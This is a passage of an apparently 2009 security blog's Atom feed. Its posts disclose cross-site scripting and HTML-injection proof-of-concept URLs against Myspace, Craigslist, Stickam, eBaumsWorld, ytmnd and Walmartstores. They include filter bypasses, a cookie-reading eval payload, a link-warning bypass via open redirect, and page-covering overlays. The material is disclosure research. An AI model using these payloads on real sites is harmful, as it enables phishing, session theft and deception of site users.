width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5200905964367355786</id><published>2009-09-10T13:43:00.000-07:00</published><updated>2009-09-10T14:29:56.956-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='stickam.com'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Leveraging Existing CSS - Stickam.com</title><content type='html'>Stickam's filters are quite strict; attempting to inject a script tag results in an internal error page. The same thing happens with a variety of other tags, any event attribute, certain CSS property values (e.g. setting position to absolute) and even many of the site's CSS IDs and classes. But the filters miss some of the ID selectors that set the element position to absolute, and this can be utilized to cover the entire page with a link.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.stickam.com/onlineMembers.do?personalTags=%22%3Ca%20id=%22cboxTitle%22style=%22height:9999px;width:9999px;%22href=%22http://cross-site-scripting.blogspot.com%22%3E%3C/a%3E"&gt;http://www.stickam.com/onlineMembers.do?personalTags=&amp;quot;&amp;lt;a id=&amp;quot;cboxTitle&amp;quot;style=&amp;quot;height:9999px;width:9999px;&amp;quot;href=&amp;quot;http://cross-site-scripting.blogspot.com&amp;quot;&amp;lt;/a&amp;gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5200905964367355786?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5200905964367355786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/leveraging-existing-css-stickamcom.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5200905964367355786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5200905964367355786'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/leveraging-existing-css-stickamcom.html' title='Leveraging Existing CSS - Stickam.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5989866701876840549</id><published>2009-09-07T15:02:00.000-07:00</published><updated>2009-09-07T15:23:24.071-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='craigslist'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Sidestepping Filters - Craigslist.org</title><content type='html'>Because the of the lack of HTML encoding, tags can be injected using the search forum search feature assuming no results are found. Testing this with H1 tags yields the expected results.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_r1bXskT1Xow/SqWFdikjWUI/AAAAAAAAADM/htOaj4tkTQA/s1600-h/Craigslist-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 223px;" src="http://1.bp.blogspot.com/_r1bXskT1Xow/SqWFdikjWUI/AAAAAAAAADM/htOaj4tkTQA/s320/Craigslist-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5378852072506743106" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;However, attempting the same thing with script results in the page being rendered only up to to the opening tag.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/SqWG_gQGW4I/AAAAAAAAADU/g8FbzRnz6sU/s1600-h/Craigslist-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 223px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/SqWG_gQGW4I/AAAAAAAAADU/g8FbzRnz6sU/s320/Craigslist-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5378853755511266178" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://craigslist.org/forums/?SQ=fffffffff%3Cscript%3Ealert(0)%3C/script%3Ef&amp;act=RSR&amp;forumID=8"&gt;http://craigslist.org/forums/?SQ=fffffffff&amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;f&amp;act=RSR&amp;forumID=8&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5989866701876840549?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5989866701876840549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/sidestepping-filters-craigslistorg.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5989866701876840549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5989866701876840549'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/sidestepping-filters-craigslistorg.html' title='Sidestepping Filters - Craigslist.org'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_r1bXskT1Xow/SqWFdikjWUI/AAAAAAAAADM/htOaj4tkTQA/s72-c/Craigslist-1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6546828858106197198</id><published>2009-09-04T18:42:00.000-07:00</published><updated>2009-09-05T14:19:05.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='myspace.com'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Exploiting The Meta Tag - Local.Myspace.com</title><content type='html'>Despite the lack of HTML encoding of data passed to the vulnerable &lt;b&gt;market&lt;/b&gt; field, tags cannot be used as sending a less than character followed by any alphabetic character redirects the user to a presumably security related error page. But by injecting the &lt;b&gt;http-equiv&lt;/b&gt; attribute, the vulnerable meta tag can be repurposed.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://local.myspace.com/index.cfm?fuseaction=local.hub&amp;dma=467&amp;market=0;http://cross-site-scripting.blogspot.com/%22http-equiv=%22refresh%22"&gt;http://local.myspace.com/index.cfm?fuseaction=local.hub&amp;dma=467&amp;market=0;http://cross-site-scripting.blogspot.com/"http-equiv="refresh"&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6546828858106197198?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6546828858106197198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/exploiting-meta-tag-localmyspacecom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6546828858106197198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6546828858106197198'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/exploiting-meta-tag-localmyspacecom.html' title='Exploiting The Meta Tag - Local.Myspace.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6291961056512401154</id><published>2009-08-30T16:47:00.001-07:00</published><updated>2009-08-30T17:01:28.618-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='myspace.com'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Insecure IFrame - Myspace.com</title><content type='html'>The Myspace volunteer search results are embedded in the page using an IFrame, its source set by the searchresults field of the query string. Because no checks are performed on the URL specified by the field, any can be used. The result is a hard to detect XSS vulnerability; it even works with Internet Explorer 8 despite the new anti-XSS measures.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.myspace.com/volunteerspace?searchresults=http://cross-site-scripting.blogspot.com/"&gt;http://www.myspace.com/volunteerspace?searchresults=http://cross-site-scripting.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/SpsP9tUssrI/AAAAAAAAADE/rbJ9Lr1ZXxw/s1600-h/Myspace-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 218px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/SpsP9tUssrI/AAAAAAAAADE/rbJ9Lr1ZXxw/s320/Myspace-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5375908133009666738" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6291961056512401154?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6291961056512401154/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/08/insecure-iframe-myspacecom.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6291961056512401154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6291961056512401154'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/08/insecure-iframe-myspacecom.html' title='Insecure IFrame - Myspace.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_r1bXskT1Xow/SpsP9tUssrI/AAAAAAAAADE/rbJ9Lr1ZXxw/s72-c/Myspace-2.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-399248243209642133</id><published>2009-08-16T17:12:00.000-07:00</published><updated>2009-08-30T17:00:00.257-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='myspace.com'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Bypassing Myspace IM XSS Filters - Myspace.com</title><content type='html'>The filtering Myspace IM uses is rather aggressive. Regardless of context, &lt;b&gt;document.&lt;/b&gt; is changed to &lt;b&gt;document·&lt;/b&gt; and &lt;b&gt;eval()&lt;/b&gt; to &lt;b&gt;..)&lt;/b&gt;. By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.&lt;br /&gt;&lt;br /&gt;The vulnerability (only works when logged in):&lt;br /&gt;&lt;a href="http://myspace.com/index.cfm?fuseaction=%22};alert(0);var%20x={%22%22:%22"&gt;http://myspace.com/index.cfm?fuseaction=&amp;quot;};alert(0);var x={&amp;quot;&amp;quot;:&amp;quot;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability re-encoded to bypass IM filters:&lt;br /&gt;&lt;a href="http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22"&gt;http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-399248243209642133?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/399248243209642133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/08/bypassing-myspace-im-xss-filters.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/399248243209642133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/399248243209642133'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/08/bypassing-myspace-im-xss-filters.html' title='Bypassing Myspace IM XSS Filters - Myspace.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1769200074380912902</id><published>2009-06-21T18:03:00.000-07:00</published><updated>2009-06-21T19:04:05.573-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='myspace.com'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Bypassing Msplinks.com Notifications - Myspace.com</title><content type='html'>As a preventative measure &lt;a href="http://www.myspace.com" /&gt;Myspace.com&lt;/a&gt; routes all user posted links through &lt;a href="http://www.msplinks.com"&gt;Msplinks.com&lt;/a&gt;. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/Sj7ZiOddifI/AAAAAAAAACk/W1KhdhP1WCk/s1600-h/msplinks-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/Sj7ZiOddifI/AAAAAAAAACk/W1KhdhP1WCk/s320/msplinks-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5349952589383174642" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fortunately &lt;a href="http://www.ytmnd.com/"&gt;ytmnd.com&lt;/a&gt; has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.&lt;br /&gt;&lt;br /&gt;The vulnerable whitelisted site:&lt;br /&gt;&lt;a href="http://www.ytmnd.com/search?q=%22%5D%7D%7D%7D;window.location='http://www.asdf.com/';%7B%7B%7B//"&gt;http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A msplinks link that redirects to the xss redirect:&lt;br /&gt;&lt;a href="http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8="&gt;http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1769200074380912902?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1769200074380912902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/bypassing-msplinkscom-myspacecom.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1769200074380912902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1769200074380912902'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/bypassing-msplinkscom-myspacecom.html' title='Bypassing Msplinks.com Notifications - Myspace.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_r1bXskT1Xow/Sj7ZiOddifI/AAAAAAAAACk/W1KhdhP1WCk/s72-c/msplinks-1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5665074500774708951</id><published>2009-06-04T23:50:00.000-07:00</published><updated>2009-06-05T00:14:14.013-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Breaking Things With Null - Classifieds.Myspace.Com</title><content type='html'>Sometimes passing special characters through a query string can cause in strange behavior. Using URL encoding we can search for the null character on &lt;a href="http://classifieds.myspace.com"&gt;classifieds.myspace.com&lt;/a&gt;. The result is an error page notifying the user that the server is too busy, and it just so happens that the retry link has a Chrome and IE compatible XSS vulnerability.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_r1bXskT1Xow/SijCB9XHXAI/AAAAAAAAACA/3x4yjW1YmSY/s1600-h/Myspace-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 213px;" src="http://1.bp.blogspot.com/_r1bXskT1Xow/SijCB9XHXAI/AAAAAAAAACA/3x4yjW1YmSY/s320/Myspace-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5343734296782265346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;http://classifieds.myspace.com/browse/?q=&amp;#37;00"onmouseover="alert(0);&lt;br /&gt;&lt;br /&gt;And with styling:&lt;br /&gt;&lt;br /&gt;http://classifieds.myspace.com/browse/?q=&amp;#37;00"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5665074500774708951?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5665074500774708951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/breaking-things-with-null.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5665074500774708951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5665074500774708951'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/breaking-things-with-null.html' title='Breaking Things With Null - Classifieds.Myspace.Com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_r1bXskT1Xow/SijCB9XHXAI/AAAAAAAAACA/3x4yjW1YmSY/s72-c/Myspace-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4236366351146615895</id><published>2009-06-02T18:48:00.000-07:00</published><updated>2009-06-04T23:56:57.492-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Getting The Most Out Of onmouseover - eBaumsWorld.com</title><content type='html'>Getting The Most Out Of onmouseover - www.ebaumsworld.com&lt;br /&gt;By styling a vulnerable element the inline onmouseover event can be nearly as effective as onload. Using the width and height CSS properties the chance of a user hovering their mouse over a vulnerable element can be greatly increased.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_r1bXskT1Xow/SiXW_L3j-iI/AAAAAAAAABw/CjSh9bj48aw/s1600-h/Ebaums-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 245px;" src="http://3.bp.blogspot.com/_r1bXskT1Xow/SiXW_L3j-iI/AAAAAAAAABw/CjSh9bj48aw/s320/Ebaums-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5342912913950898722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ebaumsworld.com/search/criteria=%22onmouseover%3D%22alert%280%29%3B"&gt;http://www.ebaumsworld.com/search/criteria="onmouseover="alert(0);&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Prior to styling the control the injected script is only run if the user hovers over the search input in the center of the screen.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/SiXXIW_j_nI/AAAAAAAAAB4/HS-X5sOx-zM/s1600-h/Ebaums-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 245px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/SiXXIW_j_nI/AAAAAAAAAB4/HS-X5sOx-zM/s320/Ebaums-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5342913071556066930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ebaumsworld.com/search/criteria=%22style%3D%22width%3A999px%3Bheight%3A999px%3B%22onmouseover%3D%22alert%280%29%3B"&gt;http://www.ebaumsworld.com/search/criteria="style="width:999px;height:999px;"onmouseover="alert(0);&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With more screen real estate taken up by the newly styled input chances of triggering the event are better.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4236366351146615895?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4236366351146615895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/getting-most-out-of-onmouseover.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4236366351146615895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4236366351146615895'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/06/getting-most-out-of-onmouseover.html' title='Getting The Most Out Of onmouseover - eBaumsWorld.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_r1bXskT1Xow/SiXW_L3j-iI/AAAAAAAAABw/CjSh9bj48aw/s72-c/Ebaums-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-9124966374959589918</id><published>2009-05-21T20:26:00.000-07:00</published><updated>2009-05-24T17:54:07.160-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Making The Best Of Things - Walmartstores.com</title><content type='html'>Despite the quote escaping being broken by the added backslash, the code below may seem secure. Note that the single quote character was left out of the test string; a search containing a single quote or &amp;lt;script&amp;gt; results in a 404 error.&lt;pre name="code" class="js"&gt;s.pageName = "Search";&lt;br /&gt;s.prop1 = "search";&lt;br /&gt;s.prop7 = "testa.,:;\\"&lt;&gt;()[]{}";&lt;br /&gt;s.prop11 = "0";&lt;br /&gt;s.prop17 = "walmartstores.com";&lt;br /&gt;&lt;/pre&gt;Because of the extra backslashes necessary to use quotes, calling eval or document.write with a new string literal is not possible. And with the search string converted to lowercase, String.fromCharCode cannot be called. However, nothing is stopping us from setting s.prop7 to anything we want using hex character codes then passing it to eval or document.write. Doing so would look something like this:&lt;br /&gt;&lt;br /&gt;&lt;a href='http://walmartstores.com/search/?q=\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//'&gt;http://walmartstores.com/search/?q=\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 